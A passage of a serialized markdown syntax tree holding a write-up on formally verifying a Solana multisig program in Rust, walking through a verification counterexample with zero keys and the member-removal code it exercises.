"tag":264,"props":27961,"children":27962},{"style":1539},[27963],{"type":27,"value":21530},{"type":22,"tag":264,"props":27965,"children":27966},{"style":4309},[27967],{"type":27,"value":210},{"type":22,"tag":264,"props":27969,"children":27970},{"style":1539},[27971],{"type":27,"value":15974},{"type":22,"tag":264,"props":27973,"children":27974},{"style":4309},[27975],{"type":27,"value":210},{"type":22,"tag":264,"props":27977,"children":27978},{"style":1539},[27979],{"type":27,"value":25117},{"type":22,"tag":264,"props":27981,"children":27982},{"style":4309},[27983],{"type":27,"value":210},{"type":22,"tag":264,"props":27985,"children":27986},{"style":1539},[27987],{"type":27,"value":22290},{"type":22,"tag":264,"props":27989,"children":27990},{"style":4309},[27991],{"type":27,"value":210},{"type":22,"tag":264,"props":27993,"children":27994},{"style":1539},[27995],{"type":27,"value":22328},{"type":22,"tag":264,"props":27997,"children":27998},{"style":4309},[27999],{"type":27,"value":20720},{"type":22,"tag":264,"props":28001,"children":28002},{"style":1539},[28003],{"type":27,"value":20748},{"type":22,"tag":264,"props":28005,"children":28006},{"class":1534,"line":1603},[28007],{"type":22,"tag":264,"props":28008,"children":28009},{"style":1539},[28010],{"type":27,"value":21565},{"type":22,"tag":264,"props":28012,"children":28013},{"class":1534,"line":1612},[28014,28018,28022,28026,28030,28034,28038],{"type":22,"tag":264,"props":28015,"children":28016},{"style":4293},[28017],{"type":27,"value":21573},{"type":22,"tag":264,"props":28019,"children":28020},{"style":4401},[28021],{"type":27,"value":27077},{"type":22,"tag":264,"props":28023,"children":28024},{"style":1539},[28025],{"type":27,"value":2660},{"type":22,"tag":264,"props":28027,"children":28028},{"style":4309},[28029],{"type":27,"value":10889},{"type":22,"tag":264,"props":28031,"children":28032},{"style":1539},[28033],{"type":27,"value":25301},{"type":22,"tag":264,"props":28035,"children":28036},{"style":4309},[28037],{"type":27,"value":10889},{"type":22,"tag":264,"props":28039,"children":28040},{"style":1539},[28041],{"type":27,"value":10894},{"type":22,"tag":23,"props":28043,"children":28044},{},[28045,28047,28052],{"type":27,"value":28046},"Let's test this, we just need to run the new ",{"type":22,"tag":257,"props":28048,"children":28050},{"className":28049},[],[28051],{"type":27,"value":21468},{"type":27,"value":28053}," harness:",{"type":22,"tag":618,"props":28055,"children":28057},{"code":28056},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[28058],{"type":22,"tag":257,"props":28059,"children":28060},{"__ignoreMap":7},[28061],{"type":27,"value":28056},{"type":22,"tag":23,"props":28063,"children":28064},{},[28065],{"type":27,"value":28066},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":22,"tag":618,"props":28068,"children":28070},{"code":28069,"language":4273,"meta":7,"className":4274,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[28071],{"type":22,"tag":257,"props":28072,"children":28073},{"__ignoreMap":7},[28074,28085,28104,28123,28142,28161,28180,28199,28218,28237,28256,28276,28295,28302,28309,28336],{"type":22,"tag":264,"props":28075,"children":28076},{"class":1534,"line":1535},[28077,28081],{"type":22,"tag":264,"props":28078,"children":28079},{"style":4722},[28080],{"type":27,"value":18448},{"type":22,"tag":264,"props":28082,"children":28083},{"style":1539},[28084],{"type":27,"value":4594},{"type":22,"tag":264,"props":28086,"children":28087},{"class":1534,"line":1545},[28088,28092,28096,28100],{"type":22,"tag":264,"props":28089,"children":28090},{"style":1549},[28091],{"type":27,"value":26484},{"type":22,"tag":264,"props":28093,"children":28094},{"style":4309},[28095],{"type":27,"value":5785},{"type":22,"tag":264,"props":28097,"children":28098},{"style":4722},[28099],{"type":27,"value":22463},{"type":22,"tag":264,"props":28101,"children":28102},{"style":1539},[28103],{"type":27,"value":4594},{"type":22,"tag":264,"props":28105,"children":28106},{"class":1534,"line":1560},[28107,28111,28115,28119],{"type":22,"tag":264,"props":28108,"children":28109},{"style":1549},[28110],{"type":27,"value":25138},{"type":22,"tag":264,"props":28112,"children":28113},{"style":4309},[28114],{"type":27,"value":5785},{"type":22,"tag":264,"props":28116,"children":28117},{"style":4344},[28118],{"type":27,"value":4347},{"type":22,"tag":264,"props":28120,"children":28121},{"style":1539},[28122],{"type":27,"value":4812},{"type":22,"tag":264,"props":28124,"children":28125},{"class":1534,"line":1569},[28126,28130,28134,28138],{"type":22,"tag":264,"props":28127,"children":28128},{"style":1549},[28129],{"type":27,"value":26524},{"type":22,"tag":264,"props":28131,"children":28132},{"style":4309},[28133],{"type":27,"value":5785},{"type":22,"tag":264,"props":28135,"children":28136},{"style":4344},[28137],{"type":27,"value":4347},{"type":22,"tag":264,"props":28139,"children":28140},{"style":1539},[28141],{"type":27,"value":4812},{"type":22,"tag":264,"props":28143,"children":28144},{"class":1534,"line":1583},[28145,28149,28153,28157],{"type":22,"tag":264,"props":28146,"children":28147},{"style":1549},[28148],{"type":27,"value":26544},{"type":22,"tag":264,"props":28150,"children":28151},{"style":4309},[28152],{"type":27,"value":5785},{"type":22,"tag":264,"props":28154,"children":28155},{"style":4344},[28156],{"type":27,"value":4347},{"type":22,"tag":264,"props":28158,"children":28159},{"style":1539},[28160],{"type":27,"value":4812},{"type":22,"tag":264,"props":28162,"children":28163},{"class":1534,"line":1603},[28164,28168,28172,28176],{"type":22,"tag":264,"props":28165,"children":28166},{"style":1549},[28167],{"type":27,"value":26564},{"type":22,"tag":264,"props":28169,"children":28170},{"style":4309},[28171],{"type":27,"value":5785},{"type":22,"tag":264,"props":28173,"children":28174},{"style":4344},[28175],{"type":27,"value":4347},{"type":22,"tag":264,"props":28177,"children":28178},{"style":1539},[28179],{"type":27,"value":4812},{"type":22,"tag":264,"props":28181,"children":28182},{"class":1534,"line":1612},[28183,28187,28191,28195],{"type":22,"tag":264,"props":28184,"children":28185},{"style":1549},[28186],{"type":27,"value":26584},{"type":22,"tag":264,"props":28188,"children":28189},{"style":4309},[28190],{"type":27,"value":5785},{"type":22,"tag":264,"props":28192,"children":28193},{"style":4344},[28194],{"type":27,"value":4347},{"type":22,"tag":264,"props":28196,"children":28197},{"style":1539},[28198],{"type":27,"value":4812},{"type":22,"tag":264,"props":28200,"children":28201},{"class":1534,"line":1621},[28202,28206,28210,28214],{"type":22,"tag":264,"props":28203,"children":28204},{"style":1549},[28205],{"type":27,"value":25151},{"type":22,"tag":264,"props":28207,"children":28208},{"style":4309},[28209],{"type":27,"value":5785},{"type":22,"tag":264,"props":28211,"children":28212},{"style":4309},[28213],{"type":27,"value":26612},{"type":22,"tag":264,"props":28215,"children":28216},{"style":1539},[28217],{"type":27,"value":4812},{"type":22,"tag":264,"props":28219,"children":28220},{"class":1534,"line":1629},[28221,28225,28229,28233],{"type":22,"tag":264,"props":28222,"children":28223},{"style":1549},[28224],{"type":27,"value":26624},{"type":22,"tag":264,"props":28226,"children":28227},{"style":4309},[28228],{"type":27,"value":5785},{"type":22,"tag":264,"props":28230,"children":28231},{"style":4293},[28232],{"type":27,"value":10354},{"type":22,"tag":264,"props":28234,"children":28235},{"style":1539},[28236],{"type":27,"value":4812},{"type":22,"tag":264,"props":28238,"children":28239},{"class":1534,"line":1642},[28240,28244,28248,28252],{"type":22,"tag":264,"props":28241,"children":28242},{"style":1549},[28243],{"type":27,"value":26644},{"type":22,"tag":264,"props":28245,"children":28246},{"style":4309},[28247],{"type":27,"value":5785},{"type":22,"tag":264,"props":28249,"children":28250},{"style":4722},[28251],{"type":27,"value":22696},{"type":22,"tag":264,"props":28253,"children":28254},{"style":1539},[28255],{"type":27,"value":4594},{"type":22,"tag":264,"props":28257,"children":28258},{"class":1534,"line":1660},[28259,28264,28268,28272],{"type":22,"tag":264,"props":28260,"children":28261},{"style":1549},[28262],{"type":27,"value":28263},"            data",{"type":22,"tag":264,"props":28265,"children":28266},{"style":4309},[28267],{"type":27,"value":5785},{"type":22,"tag":264,"props":28269,"children":28270},{"style":4309},[28271],{"type":27,"value":26612},{"type":22,"tag":264,"props":28273,"children":28274},{"style":1539},[28275],{"type":27,"value":4812},{"type":22,"tag":264,"props":28277,"children":28278},{"class":1534,"line":1668},[28279,28283,28287,28291],{"type":22,"tag":264,"props":28280,"children":28281},{"style":1549},[28282],{"type":27,"value":26665},{"type":22,"tag":264,"props":28284,"children":28285},{"style":4309},[28286],{"type":27,"value":5785},{"type":22,"tag":264,"props":28288,"children":28289},{"style":4344},[28290],{"type":27,"value":4347},{"type":22,"tag":264,"props":28292,"children":28293},{"style":1539},[28294],{"type":27,"value":4812},{"type":22,"tag":264,"props":28296,"children":28297},{"class":1534,"line":1677},[28298],{"type":22,"tag":264,"props":28299,"children":28300},{"style":1539},[28301],{"type":27,"value":26686},{"type":22,"tag":264,"props":28303,"children":28304},{"class":1534,"line":1686},[28305],{"type":22,"tag":264,"props":28306,"children":28307},{"style":1539},[28308],{"type":27,"value":1618},{"type":22,"tag":264,"props":28310,"children":28311},{"class":1534,"line":4948},[28312,28316,28320,28324,28328,28332],{"type":22,"tag":264,"props":28313,"children":28314},{"style":1549},[28315],{"type":27,"value":26701},{"type":22,"tag":264,"props":28317,"children":28318},{"style":4309},[28319],{"type":27,"value":5785},{"type":22,"tag":264,"props":28321,"children":28322},{"style":4722},[28323],{"type":27,"value":26710},{"type":22,"tag":264,"props":28325,"children":28326},{"style":1539},[28327],{"type":27,"value":10884},{"type":22,"tag":264,"props":28329,"children":28330},{"style":4309},[28331],{"type":27,"value":10889},{"type":22,"tag":264,"props":28333,"children":28334},{"style":1539},[28335],{"type":27,"value":26723},{"type":22,"tag":264,"props":28337,"children":28338},{"class":1534,"line":4957},[28339],{"type":22,"tag":264,"props":28340,"children":28341},{"style":1539},[28342],{"type":27,"value":1692},{"type":22,"tag":23,"props":28344,"children":28345},{},[28346],{"type":27,"value":28347},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":22,"tag":23,"props":28349,"children":28350},{},[28351,28353,28359],{"type":27,"value":28352},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":22,"tag":257,"props":28354,"children":28356},{"className":28355},[],[28357],{"type":27,"value":28358},"Ms::remove_member",{"type":27,"value":5785},{"type":22,"tag":618,"props":28361,"children":28363},{"code":28362,"language":4273,"meta":7,"className":4274,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[28364],{"type":22,"tag":257,"props":28365,"children":28366},{"__ignoreMap":7},[28367,28426,28457,28464],{"type":22,"tag":264,"props":28368,"children":28369},{"class":1534,"line":1535},[28370,28374,28378,28382,28386,28390,28394,28398,28402,28406,28410,28414,28418,28422],{"type":22,"tag":264,"props":28371,"children":28372},{"style":4328},[28373],{"type":27,"value":16879},{"type":22,"tag":264,"props":28375,"children":28376},{"style":1549},[28377],{"type":27,"value":27155},{"type":22,"tag":264,"props":28379,"children":28380},{"style":4309},[28381],{"type":27,"value":210},{"type":22,"tag":264,"props":28383,"children":28384},{"style":1539},[28385],{"type":27,"value":15974},{"type":22,"tag":264,"props":28387,"children":28388},{"style":4309},[28389],{"type":27,"value":210},{"type":22,"tag":264,"props":28391,"children":28392},{"style":1539},[28393],{"type":27,"value":25117},{"type":22,"tag":264,"props":28395,"children":28396},{"style":4309},[28397],{"type":27,"value":210},{"type":22,"tag":264,"props":28399,"children":28400},{"style":1539},[28401],{"type":27,"value":22290},{"type":22,"tag":264,"props":28403,"children":28404},{"style":4309},[28405],{"type":27,"value":210},{"type":22,"tag":264,"props":28407,"children":28408},{"style":4401},[28409],{"type":27,"value":10436},{"type":22,"tag":264,"props":28411,"children":28412},{"style":1539},[28413],{"type":27,"value":15342},{"type":22,"tag":264,"props":28415,"children":28416},{"style":4309},[28417],{"type":27,"value":9870},{"type":22,"tag":264,"props":28419,"children":28420},{"style":4344},[28421],{"type":27,"value":5817},{"type":22,"tag":264,"props":28423,"children":28424},{"style":1539},[28425],{"type":27,"value":4594},{"type":22,"tag":264,"props":28427,"children":28428},{"class":1534,"line":1545},[28429,28433,28437,28441,28445,28449,28453],{"type":22,"tag":264,"props":28430,"children":28431},{"style":4328},[28432],{"type":27,"value":18291},{"type":22,"tag":264,"props":28434,"children":28435},{"style":4401},[28436],{"type":27,"value":24820},{"type":22,"tag":264,"props":28438,"children":28439},{"style":1539},[28440],{"type":27,"value":2660},{"type":22,"tag":264,"props":28442,"children":28443},{"style":4722},[28444],{"type":27,"value":24829},{"type":22,"tag":264,"props":28446,"children":28447},{"style":4309},[28448],{"type":27,"value":4785},{"type":22,"tag":264,"props":28450,"children":28451},{"style":4722},[28452],{"type":27,"value":27231},{"type":22,"tag":264,"props":28454,"children":28455},{"style":1539},[28456],{"type":27,"value":5142},{"type":22,"tag":264,"props":28458,"children":28459},{"class":1534,"line":1560},[28460],{"type":22,"tag":264,"props":28461,"children":28462},{"style":1539},[28463],{"type":27,"value":1692},{"type":22,"tag":264,"props":28465,"children":28466},{"class":1534,"line":1569},[28467,28471,28475,28479,28483,28487,28491,28495,28499,28503,28507,28511],{"type":22,"tag":264,"props":28468,"children":28469},{"style":1549},[28470],{"type":27,"value":21587},{"type":22,"tag":264,"props":28472,"children":28473},{"style":4309},[28474],{"type":27,"value":210},{"type":22,"tag":264,"props":28476,"children":28477},{"style":1539},[28478],{"type":27,"value":15974},{"type":22,"tag":264,"props":28480,"children":28481},{"style":4309},[28482],{"type":27,"value":210},{"type":22,"tag":264,"props":28484,"children":28485},{"style":1539},[28486],{"type":27,"value":25117},{"type":22,"tag":264,"props":28488,"children":28489},{"style":4309},[28490],{"type":27,"value":210},{"type":22,"tag":264,"props":28492,"children":28493},{"style":4401},[28494],{"type":27,"value":26778},{"type":22,"tag":264,"props":28496,"children":28497},{"style":1539},[28498],{"type":27,"value":2660},{"type":22,"tag":264,"props":28500,"children":28501},{"style":1549},[28502],{"type":27,"value":27111},{"type":22,"tag":264,"props":28504,"children":28505},{"style":1539},[28506],{"type":27,"value":2806},{"type":22,"tag":264,"props":28508,"children":28509},{"style":4309},[28510],{"type":27,"value":4458},{"type":22,"tag":264,"props":28512,"children":28513},{"style":1539},[28514],{"type":27,"value":4322},{"type":22,"tag":23,"props":28516,"children":28517},{},[28518,28520,28526,28528,28534],{"type":27,"value":28519},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":22,"tag":257,"props":28521,"children":28523},{"className":28522},[],[28524],{"type":27,"value":28525},"Ms::is_member",{"type":27,"value":28527},") and if it is not, it simply skips the removal and returns ",{"type":22,"tag":257,"props":28529,"children":28531},{"className":28530},[],[28532],{"type":27,"value":28533},"Ok(())",{"type":27,"value":210},{"type":22,"tag":618,"props":28536,"children":28538},{"code":28537,"language":4273,"meta":7,"className":4274,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[28539],{"type":22,"tag":257,"props":28540,"children":28541},{"__ignoreMap":7},[28542,28606,28665,28702,28761,28829,28836,28843,28854],{"type":22,"tag":264,"props":28543,"children":28544},{"class":1534,"line":1535},[28545,28549,28553,28557,28561,28565,28569,28573,28577,28582,28586,28590,28594,28598,28602],{"type":22,"tag":264,"props":28546,"children":28547},{"style":4293},[28548],{"type":27,"value":14989},{"type":22,"tag":264,"props":28550,"children":28551},{"style":4293},[28552],{"type":27,"value":14994},{"type":22,"tag":264,"props":28554,"children":28555},{"style":4401},[28556],{"type":27,"value":27077},{"type":22,"tag":264,"props":28558,"children":28559},{"style":1539},[28560],{"type":27,"value":2660},{"type":22,"tag":264,"props":28562,"children":28563},{"style":4309},[28564],{"type":27,"value":4413},{"type":22,"tag":264,"props":28566,"children":28567},{"style":4293},[28568],{"type":27,"value":5035},{"type":22,"tag":264,"props":28570,"children":28571},{"style":4293},[28572],{"type":27,"value":15096},{"type":22,"tag":264,"props":28574,"children":28575},{"style":1539},[28576],{"type":27,"value":4380},{"type":22,"tag":264,"props":28578,"children":28579},{"style":1549},[28580],{"type":27,"value":28581},"member",{"type":22,"tag":264,"props":28583,"children":28584},{"style":4309},[28585],{"type":27,"value":5785},{"type":22,"tag":264,"props":28587,"children":28588},{"style":4722},[28589],{"type":27,"value":22164},{"type":22,"tag":264,"props":28591,"children":28592},{"style":1539},[28593],{"type":27,"value":4390},{"type":22,"tag":264,"props":28595,"children":28596},{"style":4309},[28597],{"type":27,"value":15056},{"type":22,"tag":264,"props":28599,"children":28600},{"style":4722},[28601],{"type":27,"value":15061},{"type":22,"tag":264,"props":28603,"children":28604},{"style":1539},[28605],{"type":27,"value":21638},{"type":22,"tag":264,"props":28607,"children":28608},{"class":1534,"line":1545},[28609,28613,28618,28623,28627,28632,28636,28640,28644,28648,28653,28657,28661],{"type":22,"tag":264,"props":28610,"children":28611},{"style":4328},[28612],{"type":27,"value":13578},{"type":22,"tag":264,"props":28614,"children":28615},{"style":4293},[28616],{"type":27,"value":28617}," let",{"type":22,"tag":264,"props":28619,"children":28620},{"style":4722},[28621],{"type":27,"value":28622}," Some",{"type":22,"tag":264,"props":28624,"children":28625},{"style":1539},[28626],{"type":27,"value":2660},{"type":22,"tag":264,"props":28628,"children":28629},{"style":1549},[28630],{"type":27,"value":28631},"ind",{"type":22,"tag":264,"props":28633,"children":28634},{"style":1539},[28635],{"type":27,"value":4390},{"type":22,"tag":264,"props":28637,"children":28638},{"style":4309},[28639],{"type":27,"value":429},{"type":22,"tag":264,"props":28641,"children":28642},{"style":4293},[28643],{"type":27,"value":15096},{"type":22,"tag":264,"props":28645,"children":28646},{"style":4309},[28647],{"type":27,"value":210},{"type":22,"tag":264,"props":28649,"children":28650},{"style":4401},[28651],{"type":27,"value":28652},"is_member",{"type":22,"tag":264,"props":28654,"children":28655},{"style":1539},[28656],{"type":27,"value":2660},{"type":22,"tag":264,"props":28658,"children":28659},{"style":1549},[28660],{"type":27,"value":28581},{"type":22,"tag":264,"props":28662,"children":28663},{"style":1539},[28664],{"type":27,"value":16103},{"type":22,"tag":264,"props":28666,"children":28667},{"class":1534,"line":1560},[28668,28673,28677,28681,28685,28690,28694,28698],{"type":22,"tag":264,"props":28669,"children":28670},{"style":4293},[28671],{"type":27,"value":28672},"        self",{"type":22,"tag":264,"props":28674,"children":28675},{"style":4309},[28676],{"type":27,"value":210},{"type":22,"tag":264,"props":28678,"children":28679},{"style":1539},[28680],{"type":27,"value":22290},{"type":22,"tag":264,"props":28682,"children":28683},{"style":4309},[28684],{"type":27,"value":210},{"type":22,"tag":264,"props":28686,"children":28687},{"style":4401},[28688],{"type":27,"value":28689},"remove",{"type":22,"tag":264,"props":28691,"children":28692},{"style":1539},[28693],{"type":27,"value":2660},{"type":22,"tag":264,"props":28695,"children":28696},{"style":1549},[28697],{"type":27,"value":28631},{"type":22,"tag":264,"props":28699,"children":28700},{"style":1539},[28701],{"type":27,"value":5142},{"type":22,"tag":264,"props":28703,"children":28704},{"class":1534,"line":1569},[28705,28709,28713,28717,28721,28725,28729,28733,28737,28741,28745,28749,28753,28757],{"type":22,"tag":264,"props":28706,"children":28707},{"style":4328},[28708],{"type":27,"value":4575},{"type":22,"tag":264,"props":28710,"children":28711},{"style":4293},[28712],{"type":27,"value":15096},{"type":22,"tag":264,"props":28714,"children":28715},{"style":4309},[28716],{"type":27,"value":210},{"type":22,"tag":264,"props":28718,"children":28719},{"style":1539},[28720],{"type":27,"value":22290},{"type":22,"tag":264,"props":28722,"children":28723},{"style":4309},[28724],{"type":27,"value":210},{"type":22,"tag":264,"props":28726,"children":28727},{"style":4401},[28728],{"type":27,"value":10436},{"type":22,"tag":264,"props":28730,"children":28731},{"style":1539},[28732],{"type":27,"value":27356},{"type":22,"tag":264,"props":28734,"children":28735},{"style":4722},[28736],{"type":27,"value":17902},{"type":22,"tag":264,"props":28738,"children":28739},{"style":4309},[28740],{"type":27,"value":4785},{"type":22,"tag":264,"props":28742,"children":28743},{"style":4401},[28744],{"type":27,"value":20779},{"type":22,"tag":264,"props":28746,"children":28747},{"style":1539},[28748],{"type":27,"value":2660},{"type":22,"tag":264,"props":28750,"children":28751},{"style":4293},[28752],{"type":27,"value":15012},{"type":22,"tag":264,"props":28754,"children":28755},{"style":4309},[28756],{"type":27,"value":210},{"type":22,"tag":264,"props":28758,"children":28759},{"style":1539},[28760],{"type":27,"value":27401},{"type":22,"tag":264,"props":28762,"children":28763},{"class":1534,"line":1583},[28764,28769,28773,28777,28781,28785,28789,28793,28797,28801,28805,28809,28813,28817,28821,28825],{"type":22,"tag":264,"props":28765,"children":28766},{"style":4293},[28767],{"type":27,"value":28768},"            self",{"type":22,"tag":264,"props":28770,"children":28771},{"style":4309},[28772],{"type":27,"value":210},{"type":22,"tag":264,"props":28774,"children":28775},{"style":1539},[28776],{"type":27,"value":22378},{"type":22,"tag":264,"props":28778,"children":28779},{"style":4309},[28780],{"type":27,"value":429},{"type":22,"tag":264,"props":28782,"children":28783},{"style":4293},[28784],{"type":27,"value":15096},{"type":22,"tag":264,"props":28786,"children":28787},{"style":4309},[28788],{"type":27,"value":210},{"type":22,"tag":264,"props":28790,"children":28791},{"style":1539},[28792],{"type":27,"value":22290},{"type":22,"tag":264,"props":28794,"children":28795},{"style":4309},[28796],{"type":27,"value":210},{"type":22,"tag":264,"props":28798,"children":28799},{"style":4401},[28800],{"type":27,"value":10436},{"type":22,"tag":264,"props":28802,"children":28803},{"style":1539},[28804],{"type":27,"value":15178},{"type":22,"tag":264,"props":28806,"children":28807},{"style":4309},[28808],{"type":27,"value":210},{"type":22,"tag":264,"props":28810,"children":28811},{"style":4401},[28812],{"type":27,"value":27474},{"type":22,"tag":264,"props":28814,"children":28815},{"style":1539},[28816],{"type":27,"value":15178},{"type":22,"tag":264,"props":28818,"children":28819},{"style":4309},[28820],{"type":27,"value":210},{"type":22,"tag":264,"props":28822,"children":28823},{"style":4401},[28824],{"type":27,"value":4972},{"type":22,"tag":264,"props":28826,"children":28827},{"style":1539},[28828],{"type":27,"value":4977},{"type":22,"tag":264,"props":28830,"children":28831},{"class":1534,"line":1603},[28832],{"type":22,"tag":264,"props":28833,"children":28834},{"style":1539},[28835],{"type":27,"value":4651},{"type":22,"tag":264,"props":28837,"children":28838},{"class":1534,"line":1612},[28839],{"type":22,"tag":264,"props":28840,"children":28841},{"style":1539},[28842],{"type":27,"value":1674},{"type":22,"tag":264,"props":28844,"children":28845},{"class":1534,"line":1621},[28846,28850],{"type":22,"tag":264,"props":28847,"children":28848},{"style":4722},[28849],{"type":27,"value":15632},{"type":22,"tag":264,"props":28851,"children":28852},{"style":1539},[28853],{"type":27,"value":15637},{"type":22,"tag":264,"props":28855,"children":28856},{"class":1534,"line":1629},[28857],{"type":22,"tag":264,"props":28858,"children":28859},{"style":1539},[28860],{"type":27,"value":1692},{"type":22,"tag":23,"props":28862,"children":28863},{},[28864,28866,28871,28873,28879,28881,28887,28889,28894],{"type":27,"value":28865},"Inside ",{"type":22,"tag":257,"props":28867,"children":28869},{"className":28868},[],[28870],{"type":27,"value":28525},{"type":27,"value":28872},", we see that it performs a ",{"type":22,"tag":257,"props":28874,"children":28876},{"className":28875},[],[28877],{"type":27,"value":28878},"binary_search",{"type":27,"value":28880}," on the keys vec and returns the index or ",{"type":22,"tag":257,"props":28882,"children":28884},{"className":28883},[],[28885],{"type":27,"value":28886},"None",{"type":27,"value":28888},". Since the vec has size zero, this will just return ",{"type":22,"tag":257,"props":28890,"children":28892},{"className":28891},[],[28893],{"type":27,"value":28886},{"type":27,"value":210},{"type":22,"tag":618,"props":28896,"children":28898},{"code":28897,"language":4273,"meta":7,"className":4274,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[28899],{"type":22,"tag":257,"props":28900,"children":28901},{"__ignoreMap":7},[28902,28971,29014,29053,29075,29082],{"type":22,"tag":264,"props":28903,"children":28904},{"class":1534,"line":1535},[28905,28909,28913,28918,28922,28926,28930,28934,28938,28942,28946,28950,28954,28959,28963,28967],{"type":22,"tag":264,"props":28906,"children":28907},{"style":4293},[28908],{"type":27,"value":14989},{"type":22,"tag":264,"props":28910,"children":28911},{"style":4293},[28912],{"type":27,"value":14994},{"type":22,"tag":264,"props":28914,"children":28915},{"style":4401},[28916],{"type":27,"value":28917}," is_member",{"type":22,"tag":264,"props":28919,"children":28920},{"style":1539},[28921],{"type":27,"value":2660},{"type":22,"tag":264,"props":28923,"children":28924},{"style":4309},[28925],{"type":27,"value":4413},{"type":22,"tag":264,"props":28927,"children":28928},{"style":4293},[28929],{"type":27,"value":15012},{"type":22,"tag":264,"props":28931,"children":28932},{"style":1539},[28933],{"type":27,"value":4380},{"type":22,"tag":264,"props":28935,"children":28936},{"style":1549},[28937],{"type":27,"value":28581},{"type":22,"tag":264,"props":28939,"children":28940},{"style":4309},[28941],{"type":27,"value":5785},{"type":22,"tag":264,"props":28943,"children":28944},{"style":4722},[28945],{"type":27,"value":22164},{"type":22,"tag":264,"props":28947,"children":28948},{"style":1539},[28949],{"type":27,"value":4390},{"type":22,"tag":264,"props":28951,"children":28952},{"style":4309},[28953],{"type":27,"value":15056},{"type":22,"tag":264,"props":28955,"children":28956},{"style":4722},[28957],{"type":27,"value":28958}," Option",{"type":22,"tag":264,"props":28960,"children":28961},{"style":1539},[28962],{"type":27,"value":7097},{"type":22,"tag":264,"props":28964,"children":28965},{"style":4722},[28966],{"type":27,"value":17902},{"type":22,"tag":264,"props":28968,"children":28969},{"style":1539},[28970],{"type":27,"value":8574},{"type":22,"tag":264,"props":28972,"children":28973},{"class":1534,"line":1545},[28974,28978,28982,28986,28990,28994,28998,29002,29006,29010],{"type":22,"tag":264,"props":28975,"children":28976},{"style":4328},[28977],{"type":27,"value":16052},{"type":22,"tag":264,"props":28979,"children":28980},{"style":4293},[28981],{"type":27,"value":15096},{"type":22,"tag":264,"props":28983,"children":28984},{"style":4309},[28985],{"type":27,"value":210},{"type":22,"tag":264,"props":28987,"children":28988},{"style":1539},[28989],{"type":27,"value":22290},{"type":22,"tag":264,"props":28991,"children":28992},{"style":4309},[28993],{"type":27,"value":210},{"type":22,"tag":264,"props":28995,"children":28996},{"style":4401},[28997],{"type":27,"value":28878},{"type":22,"tag":264,"props":28999,"children":29000},{"style":1539},[29001],{"type":27,"value":2660},{"type":22,"tag":264,"props":29003,"children":29004},{"style":4309},[29005],{"type":27,"value":4413},{"type":22,"tag":264,"props":29007,"children":29008},{"style":1549},[29009],{"type":27,"value":28581},{"type":22,"tag":264,"props":29011,"children":29012},{"style":1539},[29013],{"type":27,"value":16103},{"type":22,"tag":264,"props":29015,"children":29016},{"class":1534,"line":1560},[29017,29021,29025,29029,29033,29037,29041,29045,29049],{"type":22,"tag":264,"props":29018,"children":29019},{"style":4722},[29020],{"type":27,"value":16111},{"type":22,"tag":264,"props":29022,"children":29023},{"style":1539},[29024],{"type":27,"value":2660},{"type":22,"tag":264,"props":29026,"children":29027},{"style":1549},[29028],{"type":27,"value":28631},{"type":22,"tag":264,"props":29030,"children":29031},{"style":1539},[29032],{"type":27,"value":4390},{"type":22,"tag":264,"props":29034,"children":29035},{"style":4309},[29036],{"type":27,"value":16121},{"type":22,"tag":264,"props":29038,"children":29039},{"style":4722},[29040],{"type":27,"value":28622},{"type":22,"tag":264,"props":29042,"children":29043},{"style":1539},[29044],{"type":27,"value":2660},{"type":22,"tag":264,"props":29046,"children":29047},{"style":1549},[29048],{"type":27,"value":28631},{"type":22,"tag":264,"props":29050,"children":29051},{"style":1539},[29052],{"type":27,"value":8029},{"type":22,"tag":264,"props":29054,"children":29055},{"class":1534,"line":1569},[29056,29061,29066,29071],{"type":22,"tag":264,"props":29057,"children":29058},{"style":1549},[29059],{"type":27,"value":29060},"        _",{"type":22,"tag":264,"props":29062,"children":29063},{"style":4309},[29064],{"type":27,"value":29065}," =>",{"type":22,"tag":264,"props":29067,"children":29068},{"style":4722},[29069],{"type":27,"value":29070}," None",{"type":22,"tag":264,"props":29072,"children":29073},{"style":1539},[29074],{"type":27,"value":4812},{"type":22,"tag":264,"props":29076,"children":29077},{"class":1534,"line":1583},[29078],{"type":22,"tag":264,"props":29079,"children":29080},{"style":1539},[29081],{"type":27,"value":1674},{"type":22,"tag":264,"props":29083,"children":29084},{"class":1534,"line":1603},[29085],{"type":22,"tag":264,"props":29086,"children":29087},{"style":1539},[29088],{"type":27,"value":1692},{"type":22,"tag":23,"props":29090,"children":29091},{},[29092,29094,29099,29101,29106,29108,29113,29115,29120],{"type":27,"value":29093},"So interestingly, a ",{"type":22,"tag":257,"props":29095,"children":29097},{"className":29096},[],[29098],{"type":27,"value":22290},{"type":27,"value":29100}," vec of size 0 ",{"type":22,"tag":1699,"props":29102,"children":29103},{},[29104],{"type":27,"value":29105},"is actually",{"type":27,"value":29107}," a sufficient condition to execute ",{"type":22,"tag":257,"props":29109,"children":29111},{"className":29110},[],[29112],{"type":27,"value":26778},{"type":27,"value":29114},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":22,"tag":1699,"props":29116,"children":29117},{},[29118],{"type":27,"value":29119},"valid",{"type":27,"value":29121}," multisig, the number of keys should never be zero.",{"type":22,"tag":23,"props":29123,"children":29124},{},[29125,29127,29132],{"type":27,"value":29126},"We can represent this 